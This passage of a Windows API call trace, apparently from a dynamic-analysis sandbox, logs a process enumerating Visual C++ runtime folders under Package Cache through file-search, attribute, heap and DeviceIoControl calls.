(hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.633] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.634] NtClose (Handle=0x178) returned 0x0 [0092.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.635] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.635] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.636] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.636] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.636] GetLastError () returned 0x12 [0092.636] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9200 [0092.636] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.636] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.636] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.637] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.637] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.639] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.640] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0092.640] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.640] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 1 [0092.640] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 0 [0092.640] GetLastError () returned 0x12 [0092.640] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.640] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.640] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.640] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 1 [0092.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.641] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.641] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.641] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.641] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.642] NtClose (Handle=0x178) returned 0x0 [0092.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.643] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.643] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.643] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9b1b00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7c9b1b00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7c9b1b00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9218 [0092.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136fb10 [0092.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.646] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 1 [0092.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f6f0) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9238 [0092.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1254968 [0092.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.648] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 0 [0092.648] GetLastError () returned 0x12 [0092.648] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.648] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.648] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.648] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9b1b00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7c9b1b00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7c9b1b00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.648] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 1 [0092.649] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 0 [0092.649] GetLastError () returned 0x12 [0092.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.649] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.649] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 0 [0092.650] GetLastError () returned 0x12 [0092.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.650] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.650] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.650] GetLastError () returned 0x12 [0092.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.650] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.651] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="")) returned 1 [0092.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.652] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.652] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.652] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.652] NtClose (Handle=0x184) returned 0x0 [0092.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.654] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9200 [0092.654] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.654] FindNextFileW (in: hFindFile=0x2e9200, 